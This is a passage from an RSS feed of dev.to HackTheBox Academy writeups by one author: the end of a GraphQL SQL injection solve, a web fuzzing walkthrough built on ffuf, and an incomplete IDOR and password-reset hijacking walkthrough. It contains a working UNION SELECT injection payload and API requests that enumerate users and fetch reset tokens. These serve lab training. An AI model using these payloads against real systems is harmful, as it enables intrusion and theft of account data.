  &lt;/span&gt;&lt;span class="n"&gt;customerByName&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="n"&gt;lastName&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"hassan' UNION SELECT 1,2,GROUP_CONCAT(flag),4 FROM flag -- -"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="n"&gt;apiKey&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"0711a879ed751e63330a78a4b195bad"&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="n"&gt;id&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="n"&gt;firstName&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="n"&gt;lastName&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="n"&gt;address&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nl"&gt;"data"&lt;/span&gt;&lt;span class="p"&gt;:{&lt;/span&gt;&lt;span class="nl"&gt;"customerByName"&lt;/span&gt;&lt;span class="p"&gt;:{&lt;/span&gt;&lt;span class="nl"&gt;"id"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"..."&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nl"&gt;"firstName"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"2"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nl"&gt;"lastName"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"HTB{fxxxxxxxxxxxxxxxxxxxxxxxx5}"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nl"&gt;"address"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"4"&lt;/span&gt;&lt;span class="p"&gt;}}}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;🎯 &lt;strong&gt;Flag captured:&lt;/strong&gt; &lt;code&gt;HTB{fxxxxxxxxxxxxxxxxxxxxxxxx5}&lt;/code&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Key Takeaways
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;introspecting return types alone tells you nothing about arguments — always ask for &lt;code&gt;args&lt;/code&gt; explicitly to map the real attack surface&lt;/li&gt;
&lt;li&gt;unauthenticated queries that leak API keys are a finding on their own, independent of anything chained after them&lt;/li&gt;
&lt;li&gt;verbose SQL errors from the backend can turn a blind injection into a fully sighted one — read them closely&lt;/li&gt;
&lt;li&gt;GraphQL's &lt;code&gt;id&lt;/code&gt; field is often an opaque encoded value (Relay global ID), not the raw column — don't rely on it for column-count confirmation&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Happy hacking! 🔐&lt;/p&gt;

</description>
      <category>ctf</category>
      <category>cybersecurity</category>
    </item>
    <item>
      <title>HackTheBox — Web Fuzzing Skills Assessment</title>
      <dc:creator>Hassan Elsayed</dc:creator>
      <pubDate>Sun, 26 Jul 2026 00:08:23 +0000</pubDate>
      <link>https://dev.to/hassanelsayed30/hackthebox-web-fuzzing-skills-assessment-44j9</link>
      <guid>https://dev.to/hassanelsayed30/hackthebox-web-fuzzing-skills-assessment-44j9</guid>
      <description>&lt;h2&gt;
  
  
  Introduction
&lt;/h2&gt;

&lt;p&gt;Walking through my approach to the &lt;strong&gt;Web Fuzzing&lt;/strong&gt; Skills Assessment from HackTheBox Academy — writing this mostly as a personal reference to revisit later, but hopefully it helps someone else too. Genuinely fun challenge that solidified how fuzzing works in a real-world-ish scenario.&lt;/p&gt;

&lt;p&gt;The assessment is about discovering hidden endpoints, parameters, virtual hosts, and nested directories through systematic fuzzing. Each discovery unlocks the next clue — a chain leading to the final flag.&lt;/p&gt;

&lt;h2&gt;
  
  
  Challenge Overview
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Target:&lt;/strong&gt; web application&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Wordlist:&lt;/strong&gt; &lt;code&gt;common.txt&lt;/code&gt; from SecLists (&lt;code&gt;/usr/share/seclists/Discovery/Web-Content/&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Goal:&lt;/strong&gt; discover hidden content and capture the flag&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Skills tested:&lt;/strong&gt; directory fuzzing, parameter fuzzing, VHost fuzzing, recursive fuzzing&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Step 1: Directory Fuzzing on Root
&lt;/h2&gt;

&lt;p&gt;Started by fuzzing the root to map the attack surface:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;ffuf &lt;span class="nt"&gt;-w&lt;/span&gt; /usr/share/seclists/Discovery/Web-Content/common.txt &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-u&lt;/span&gt; http://TARGET:PORT/FUZZ
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fjmrpv3ga5ak4bft2srg8.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fjmrpv3ga5ak4bft2srg8.webp" alt=" " width="800" height="500"&gt;&lt;/a&gt;&lt;br&gt;
&lt;strong&gt;Result:&lt;/strong&gt; found &lt;code&gt;/admin&lt;/code&gt; with a 301 redirect — worth digging into.&lt;/p&gt;
&lt;h2&gt;
  
  
  Step 2: Fuzzing Inside /admin
&lt;/h2&gt;

&lt;p&gt;Went deeper into &lt;code&gt;/admin&lt;/code&gt;, adding the &lt;code&gt;.php&lt;/code&gt; extension to catch PHP files:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;ffuf &lt;span class="nt"&gt;-w&lt;/span&gt; /usr/share/seclists/Discovery/Web-Content/common.txt &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-u&lt;/span&gt; http://TARGET:PORT/admin/FUZZ &lt;span class="nt"&gt;-e&lt;/span&gt; .php
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fpf9dw7oibxcd7rlb0ezt.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fpf9dw7oibxcd7rlb0ezt.webp" alt=" " width="800" height="500"&gt;&lt;/a&gt;&lt;br&gt;
&lt;strong&gt;Result:&lt;/strong&gt; &lt;code&gt;panel.php&lt;/code&gt; stood out — different response size (58 bytes) than everything else.&lt;/p&gt;
&lt;h2&gt;
  
  
  Step 3: Discovering the Hidden Parameter
&lt;/h2&gt;

&lt;p&gt;A quick curl on it revealed something useful:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl http://TARGET:PORT/admin/panel.php
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Response:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Invalid parameter, please ensure accessID is set correctly
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The app told me exactly what it needed — an &lt;code&gt;accessID&lt;/code&gt; parameter. Time to fuzz it.&lt;/p&gt;

&lt;h2&gt;
  
  
  Step 4: Fuzzing the accessID Parameter
&lt;/h2&gt;

&lt;p&gt;All responses came back &lt;code&gt;200&lt;/code&gt; with size 58 — classic false positives. Filtered by that size to isolate the real hit:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;ffuf &lt;span class="nt"&gt;-w&lt;/span&gt; /usr/share/seclists/Discovery/Web-Content/common.txt &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-u&lt;/span&gt; &lt;span class="s2"&gt;"http://TARGET:PORT/admin/panel.php?accessID=FUZZ"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-fs&lt;/span&gt; 58
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Result:&lt;/strong&gt; valid &lt;code&gt;accessID&lt;/code&gt; value found ✅&lt;/p&gt;

&lt;h2&gt;
  
  
  Step 5: Getting the VHost Hint
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="s2"&gt;"http://TARGET:PORT/admin/panel.php?accessID=&amp;lt;found_value&amp;gt;"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Response:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Head on over to the fuzzing_fun.htb vhost for some more fuzzing fun!
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The app pointed me at a virtual host. First step, add it to &lt;code&gt;/etc/hosts&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"TARGET_IP  fuzzing_fun.htb"&lt;/span&gt; | &lt;span class="nb"&gt;sudo tee&lt;/span&gt; &lt;span class="nt"&gt;-a&lt;/span&gt; /etc/hosts
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Step 6: VHost / Subdomain Fuzzing
&lt;/h2&gt;

&lt;p&gt;With the vhost in place, I fuzzed for subdomains sitting on top of it, filtering out the noisy 403 responses:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;ffuf &lt;span class="nt"&gt;-w&lt;/span&gt; /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-u&lt;/span&gt; http://fuzzing_fun.htb:PORT/ &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s1"&gt;'Host: FUZZ.fuzzing_fun.htb'&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-fc&lt;/span&gt; 403
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fgn5clgp0o0k8v0gy7z91.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fgn5clgp0o0k8v0gy7z91.webp" alt=" " width="800" height="500"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Result:&lt;/strong&gt; a subdomain discovered ✅ — added it to &lt;code&gt;/etc/hosts&lt;/code&gt; as well:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"TARGET_IP  &amp;lt;subdomain&amp;gt;.fuzzing_fun.htb"&lt;/span&gt; | &lt;span class="nb"&gt;sudo tee&lt;/span&gt; &lt;span class="nt"&gt;-a&lt;/span&gt; /etc/hosts
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Step 7: Following the Clue to /godeep
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl http://&amp;lt;subdomain&amp;gt;.fuzzing_fun.htb:PORT/
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Response:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Wrong path, remember to be looking in /godeep
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fgl2x3ine8vqws1qdkawo.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fgl2x3ine8vqws1qdkawo.webp" alt=" " width="800" height="500"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The app kept dropping breadcrumbs — love it.&lt;/p&gt;

&lt;h2&gt;
  
  
  Step 8: Recursive Fuzzing on /godeep
&lt;/h2&gt;

&lt;p&gt;Instead of manually fuzzing layer by layer, I used recursive fuzzing. The 301 redirect size was 352, so I filtered that out:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;ffuf &lt;span class="nt"&gt;-w&lt;/span&gt; /usr/share/seclists/Discovery/Web-Content/common.txt &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-u&lt;/span&gt; http://&amp;lt;subdomain&amp;gt;.fuzzing_fun.htb:PORT/godeep/FUZZ &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-recursion&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-recursion-depth&lt;/span&gt; 2 &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-fs&lt;/span&gt; 352
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fsfkvzizg5cyg5erm9gil.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fsfkvzizg5cyg5erm9gil.webp" alt=" " width="799" height="583"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Result:&lt;/strong&gt; uncovered a deeply nested path ✅&lt;/p&gt;

&lt;h2&gt;
  
  
  Step 9: Flag Captured 🎉
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl http://&amp;lt;subdomain&amp;gt;.fuzzing_fun.htb:PORT/godeep/&amp;lt;nested_path&amp;gt;/
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;HTB{wxxx_fxxxxxg_kxxxxxs}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Key Takeaways
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;always filter false positives by response size (&lt;code&gt;-fs&lt;/code&gt;) — cuts out a ton of noise&lt;/li&gt;
&lt;li&gt;apps sometimes leak parameter names in their own error messages — read them carefully&lt;/li&gt;
&lt;li&gt;VHost fuzzing can reveal entire hidden site trees you'd never find otherwise&lt;/li&gt;
&lt;li&gt;recursive fuzzing saves real time on deeply nested directories&lt;/li&gt;
&lt;li&gt;every clue unlocks the next step — follow the breadcrumbs&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>htb</category>
      <category>ffuf</category>
      <category>ctf</category>
      <category>cybersecurity</category>
    </item>
    <item>
      <title>HTB Web Attacks — Skills Assessment Writeup</title>
      <dc:creator>Hassan Elsayed</dc:creator>
      <pubDate>Sat, 25 Jul 2026 23:55:52 +0000</pubDate>
      <link>https://dev.to/hassanelsayed30/htb-web-attacks-skills-assessment-writeup-2pcg</link>
      <guid>https://dev.to/hassanelsayed30/htb-web-attacks-skills-assessment-writeup-2pcg</guid>
      <description>&lt;h2&gt;
  
  
  Introduction
&lt;/h2&gt;

&lt;p&gt;Walking through my solve of the &lt;strong&gt;Web Attacks&lt;/strong&gt; Skills Assessment from HackTheBox Academy. This one tested three separate vulnerability classes: IDOR (Insecure Direct Object Reference), HTTP Verb Tampering, and XXE (XML External Entity) Injection.&lt;/p&gt;

&lt;p&gt;What made it interesting is that it needed all three chained together to reach the final goal — each vuln built on the previous one, a good demo of how small flaws compound into a full system compromise.&lt;/p&gt;

&lt;h2&gt;
  
  
  Challenge Overview
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Target:&lt;/strong&gt; web app (social networking platform)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Given credentials:&lt;/strong&gt; &lt;code&gt;htb-student:Academy_student!&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Goal:&lt;/strong&gt; escalate privileges and read the flag at &lt;code&gt;/flag.php&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Skills tested:&lt;/strong&gt; IDOR, HTTP parameter tampering, XXE injection&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Step 1: Initial Recon
&lt;/h2&gt;

&lt;p&gt;After logging in with the provided creds, I explored the app through Burp Suite to map out functionality and look for attack vectors — starting with how it handles sessions and API calls.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fgg9dcztegkus2nqjy3eg.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fgg9dcztegkus2nqjy3eg.webp" alt=" " width="800" height="224"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Step 2: Discovering the IDOR
&lt;/h2&gt;

&lt;p&gt;While intercepting traffic, I found an API endpoint that returns user info:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="nf"&gt;GET&lt;/span&gt; &lt;span class="nn"&gt;/api.php/user/74&lt;/span&gt; &lt;span class="k"&gt;HTTP&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="m"&gt;1.1&lt;/span&gt;
&lt;span class="na"&gt;Host&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;154.57.164.83:30772&lt;/span&gt;
&lt;span class="na"&gt;Cookie&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;PHPSESSID=5tdab0pea9581eafu321oslqc2; uid=74&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Response:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"uid"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"74"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"username"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"htb-student"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"full_name"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Paolo Perrone"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"company"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Schaefer Inc"&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;The critical observation:&lt;/strong&gt; the app relied purely on the URL parameter to decide whose data to return — no server-side check on whether the requesting user actually had permission. Textbook IDOR.&lt;/p&gt;

&lt;h2&gt;
  
  
  Step 3: User Enumeration
&lt;/h2&gt;

&lt;p&gt;Confirmed the vuln, then enumerated users. Manual testing first:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="nf"&gt;GET&lt;/span&gt; &lt;span class="nn"&gt;/api.php/user/1&lt;/span&gt; &lt;span class="k"&gt;HTTP&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="m"&gt;1.1&lt;/span&gt;
&lt;span class="s"&gt;GET /api.php/user/2 HTTP/1.1&lt;/span&gt;
&lt;span class="s"&gt;GET /api.php/user/3 HTTP/1.1&lt;/span&gt;
&lt;span class="s"&gt;...&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Every request returned a different user's data. To speed this up, I ran Burp Intruder over IDs 1–100 (payload type: Numbers, from 1 to 100, step 1) and pulled all 100 users' info in one pass.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F6w78byxqzp79j0m5b3ed.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F6w78byxqzp79j0m5b3ed.webp" alt=" " width="799" height="230"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Step 4: Finding the Administrator Account
&lt;/h2&gt;

&lt;p&gt;Scanning the enumeration results for anything with elevated privileges, one entry stood out:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"uid"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"52"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"username"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"a.corrales"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"full_name"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Amor Corrales"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"company"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Administrator"&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;🎯 Target identified: user ID 52, &lt;code&gt;a.corrales&lt;/code&gt; — Administrator.&lt;/p&gt;

&lt;h2&gt;
  
  
  Step 5: Attempting to Hijack the Admin Account
&lt;/h2&gt;

&lt;p&gt;I looked at how password reset works by triggering it on my own account and intercepting the two requests involved.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Request 1 — fetch the token:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="nf"&gt;GET&lt;/span&gt; &lt;span class="nn"&gt;/api.php/token/74&lt;/span&gt; &lt;span class="k"&gt;HTTP&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="m"&gt;1.1&lt;/span&gt;
&lt;span class="na"&gt;Host&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;154.57.164.83:30772&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Response:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"token"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"e51a8a14-17ac-11ec-8e67-a3c050fe0c26"&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Request 2 — reset the password:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="nf"&gt;POST&lt;/span&gt; &lt;span class="nn"&gt;/reset.php&lt;/span&gt; &lt;span class="k"&gt;HTTP&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="m"&gt;1.1&lt;/span&gt;
&lt;span class="na"&gt;Host&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;154.57.164.83:30772&lt;/span&gt;
